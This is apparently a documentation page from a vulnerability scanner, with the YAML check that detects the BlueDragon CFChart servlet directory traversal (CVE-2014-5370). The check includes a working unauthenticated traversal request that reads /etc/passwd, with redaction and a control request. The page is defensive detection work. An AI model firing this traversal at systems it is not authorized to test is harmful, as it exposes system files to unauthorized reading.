BlueDragon — 1 vulnerability check
noctis ships 1 vulnerability check for BlueDragon, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
BlueDragon CFChart Servlet Directory Traversal
| CVE | CVE-2014-5370 |
|---|---|
| Severity | high · CVSS 7.5 |
| Category | file-read — File read |
| Services | http, https |
| Detection | set_var, http_request, script, match · highest QoD 75 |
| Feed | tests/vulnerabilities/bluedragon/CVE-2014-5370.yaml |
Tests BlueDragon Server (CFChart servlet, up to 7.1.1.17759) for the directory traversal in /cfchart.cfchart. The feed only runs against a web server whose Server header names BlueDragon and which serves /cfchart.cfchart. It then requests /etc/passwd through fifteen "../" segments placed in the query string, without any login. A root (uid 0) passwd line in the reply confirms that files outside the chart directory can be read. A control request for an absent file must answer without any passwd line, so a server that returns the same content on every request is not reported. Only the world-readable /etc/passwd is read and its password field is redacted from the evidence. The same flaw lets an attacker delete arbitrary files; that is never attempted.
How noctis detects it
- HTTP(S) request
GET /cfchart.cfchart - Parses / computes the next value with a Rhai script
- Checks
server_hfor(?i)BlueDragon - HTTP(S) request
GET /cfchart.cfchart?../../../../../../../../../../../../../../../etc/passwd - Checks
passwd_r.bodyfor(?m)(?:^|>)([A-Za-z0-9_.-]+):[^:\r\n]*:0:([01]):[^:\r\n]*:([^:\r\n]*)… - Parses / computes the next value with a Rhai script
- HTTP(S) request
GET /cfchart.cfchart?../../../../../../../../../../../../../../../noctis-absent-{{oob_tok… - Checks
ctrl_r.bodyfor(?m)(?:^|>)[A-Za-z0-9_.-]+:[^:\r\n]*:0:[01]: - Checks
prooffor^(root|<redacted>):<redacted>:0:[01]:→ finding QoD 75: BlueDragon CFChart Servlet Directory Traversal (CVE-2014-5370)
References:
Feed source — tests/vulnerabilities/bluedragon/CVE-2014-5370.yaml
# BlueDragon CFChart servlet directory traversal — CVE-2014-5370
#
# The CFChart servlet of BlueDragon (/cfchart.cfchart) builds a file path from its
# query string without removing "../" segments, so an unauthenticated request can
# read (or delete) files outside the chart directory. BlueDragon Server up to
# 7.1.1.17759 (fixed in 7.1.1.18527) is affected.
#
# Detection (benign, read-only):
# 1. GET /cfchart.cfchart must answer 200 and the Server header must name
# BlueDragon (the "../" query form is generic, so the CVE is only attributed
# to a BlueDragon server).
# 2. GET /cfchart.cfchart?<15x ../>etc/passwd and match a uid-0 passwd line. The
# "../" in the QUERY reaches the server untouched through http_request.
# 3. Control: the same request for an absent file must answer and carry no passwd
# line (fail-closed), so a server that returns passwd for every request is not
# reported. Only /etc/passwd is read; the password field is redacted.
# QoD 75 (response analysis). The delete half of the flaw is never exercised.
#
# Improvements over the source NASL: absent-file control; any uid-0 account counts;
# the password hash never reaches the evidence.
#
# Ported from OpenVAS/Greenbone NVT 2015/gb_bluedragon_cfchart_servlet_dir_trav_vuln.nasl
# (GPL-2.0-only).
uid: e525dc41-ed94-4edf-aefd-abfd8ff66215
name: "BlueDragon CFChart Servlet Directory Traversal (CVE-2014-5370)"
description: |
Tests BlueDragon Server (CFChart servlet, up to 7.1.1.17759) for the directory
traversal in /cfchart.cfchart. The feed only runs against a web server whose
Server header names BlueDragon and which serves /cfchart.cfchart. It then requests
/etc/passwd through fifteen "../" segments placed in the query string, without
any login. A root (uid 0) passwd line in the reply confirms that files outside the
chart directory can be read. A control request for an absent file must answer
without any passwd line, so a server that returns the same content on every
request is not reported. Only the world-readable /etc/passwd is read and its
password field is redacted from the evidence. The same flaw lets an attacker
delete arbitrary files; that is never attempted.
cves: [CVE-2014-5370]
cvss: 7.5
severity: high
category: file-read
confidence_base: 0.30
tags: [bluedragon, coldfusion, cfchart, path-traversal, file-read, unauthenticated]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2014-5370"
# OpenVAS/Greenbone NASL 2015/gb_bluedragon_cfchart_servlet_dir_trav_vuln.nasl (GPL-2.0-only)
steps:
- id: init-page-r
action: set_var
var_name: page_r
var_value: {status: 0, body: "", headers: {}}
- id: init-server-h
action: set_var
var_name: server_h
var_value: ""
- id: init-bd-m
action: set_var
var_name: bd_m
var_value: {matched: false, captures: []}
- id: init-passwd-r
action: set_var
var_name: passwd_r
var_value: {status: 0, body: ""}
- id: init-passwd-m
action: set_var
var_name: passwd_m
var_value: {matched: false, captures: []}
- id: init-proof
action: set_var
var_name: proof
var_value: ""
- id: init-ctrl-r
action: set_var
var_name: ctrl_r
var_value: {status: 0, body: ""}
- id: init-ctrl-hit
action: set_var
var_name: ctrl_hit
var_value: false
# ── Gate: BlueDragon server serving the CFChart servlet ──────────────────
- id: page
action: http_request
method: GET
path: "/cfchart.cfchart"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
store_as: page_r
- id: server-header
action: script
code: |
if page_r.status == 200 && "server" in page_r.headers { page_r.headers["server"] } else { "" }
store_as: server_h
- id: bluedragon
action: match
source: server_h
pattern: "(?i)BlueDragon"
condition: 'page_r.status == 200'
store_as: bd_m
# ── Read /etc/passwd through "../" segments in the query string ──────────
- id: read-passwd
action: http_request
method: GET
path: "/cfchart.cfchart?../../../../../../../../../../../../../../../etc/passwd"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
condition: "bd_m.matched == true"
store_as: passwd_r
# No on_match: the raw reply (password hash) must not become evidence.
- id: passwd-content
action: match
source: passwd_r.body
pattern: "(?m)(?:^|>)([A-Za-z0-9_.-]+):[^:\\r\\n]*:0:([01]):[^:\\r\\n]*:([^:\\r\\n]*):([^:\\r\\n<]*)"
condition: 'bd_m.matched == true && passwd_r.status == 200'
store_as: passwd_m
- id: passwd-redact
action: script
code: |
if passwd_m.matched && passwd_m.captures.len() > 3 {
if passwd_m.captures[0] == "root" {
"root:<redacted>:0:" + passwd_m.captures[1] + ":<redacted>:" + passwd_m.captures[2] + ":" + passwd_m.captures[3]
} else {
"<redacted>:<redacted>:0:" + passwd_m.captures[1] + ":<redacted>:<redacted>:" + passwd_m.captures[3]
}
} else { "" }
store_as: proof
# ── Control: absent file under the same traversal prefix ─────────────────
- id: control
action: http_request
method: GET
path: "/cfchart.cfchart?../../../../../../../../../../../../../../../noctis-absent-{{oob_token}}/etc/passwd"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
condition: 'proof != ""'
store_as: ctrl_r
- id: control-content
action: match
source: ctrl_r.body
pattern: "(?m)(?:^|>)[A-Za-z0-9_.-]+:[^:\\r\\n]*:0:[01]:"
condition: 'proof != "" && ctrl_r.status != 0'
on_match:
set_vars:
ctrl_hit: true
# ── Finding (control answered and stayed clean) ──────────────────────────
- id: report
action: match
source: proof
pattern: "^(root|<redacted>):<redacted>:0:[01]:"
condition: 'ctrl_r.status != 0 && ctrl_hit == false'
on_match:
finding:
title: "BlueDragon CFChart Servlet Directory Traversal (CVE-2014-5370)"
description: "An unauthenticated GET request to /cfchart.cfchart with \"../\" segments in the query string returned the content of /etc/passwd, while the same request for an absent file did not. Any file readable by the BlueDragon process can be read this way, and the same flaw allows deleting files."
remediation: "Update BlueDragon Server to 7.1.1.18527 or later, and restrict access to the CFChart servlet and the BlueDragon server to trusted networks."
confidence_delta: 0.55
qod: 75
evidence: "GET /cfchart.cfchart?(15x ../)etc/passwd on a BlueDragon server returned /etc/passwd; control for an absent file returned no passwd line ({{proof}})"
stop: true